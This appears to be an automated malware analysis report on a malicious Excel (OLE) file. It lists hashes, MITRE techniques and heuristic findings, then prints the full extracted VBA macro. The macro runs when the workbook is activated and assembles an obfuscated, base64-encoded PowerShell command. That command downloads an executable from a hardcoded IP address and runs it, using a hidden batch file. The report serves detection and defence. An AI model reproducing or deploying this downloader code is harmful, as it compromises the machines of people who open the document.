Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fca1179e472a2996…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2021-11-02
MD5: 1b36f02522e767c5997e636915afeadd SHA-1: 4dcbf2d6e0bf8b48496f1c1c6cbef182ba8b6533 SHA-256: fca1179e472a2996fad69d8e2a3f04957c05c40c299334562d42086e8ce74e58
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains VBA macros that utilize obfuscation techniques to hide a call to PowerShell. The reconstructed PowerShell command attempts to download and execute a second-stage payload from a hardcoded URL. This indicates a downloader or droppper functionality, commonly associated with initial stages of a compromise via spearphishing.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2633 bytes
SHA-256: 6c28e1d8e4c3c5b69511d454acc96870192150731ea55be6b2293e62e61866fe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Activate()
On Error Resume Next

Dim bat As String


Dim s As String

s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "


s = s + "JABQAHIAbw"
s = s + "BjAE4AYQBt"
s = s + "AGUAIAA9AC"
s = s + "AAIgBDAGUA"
s = s + "YwBxAGkAbA"
s = s + "BiAHQAYwB5"
s = s + "AGkAZABpAG"
s = s + "IAbQBwAHIA"
s = s + "awB5AHAAZA"
s = s + "BnAGgALgBl"
s = s + "AHgAZQAiAD"
s = s + "sAKABOAGUA"
s = s + "dwAtAE8AYg"
s = s + "BqAGUAYwB0"
s = s + "ACAAUwB5AH"
s = s + "MAdABlAG0A"
s = s + "LgBOAGUAdA"
s = s + "AuAFcAZQBi"
s = s + "AEMAbABpAG"
s = s + "UAbgB0ACkA"
s = s + "LgBEAG8Adw"
s = s + "BuAGwAbwBh"
s = s + "AGQARgBpAG"
s = s + "wAZQAoACIA"
s = s + "aAB0AHQAcA"
s = s + "A6AC8ALwAz"
s = s + "AC4ANgA0AC"
s = s + "4AMgA1ADEA"
s = s + "LgAxADMAOQ"
s = s + "AvAHYAMwAv"
s = s + "ADIALwA3AD"
s = s + "AAMAAxADYA"
s = s + "MQAwADMANg"
s = s + "AyADEAMQAx"
s = s + "ADAALgBlAH"
s = s + "gAZQAiACwA"
s = s + "IgAkAGUAbg"
s = s + "B2ADoAQQBQ"
s = s + "AFAARABBAF"
s = s + "QAQQBcACQA"
s = s + "UAByAG8AYw"
s = s + "BOAGEAbQBl"
s = s + "ACIAKQA7AF"
s = s + "MAdABhAHIA"
s = s + "dAAtAFAAcg"
s = s + "BvAGMAZQBz"
s = s + "AHMAIAAoAC"
s = s + "IAJABlAG4A"
s = s + "dgA6AEEAUA"
s = s + "BQAEQAQQBU"
s = s + "AEEAXAAkAF"
s = s + "AAcgBvAGMA"
s = s + "TgBhAG0AZQ"
s = s + "AiACkA"


Dim x As Double

ActiveWorkbook.Save

bat = "Cxgttzrzhsqtcnpjymlueb.bat"

Open bat For Output As #1
    Print #1, s 
    Close #1
    x = Shell(bat, 0)

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True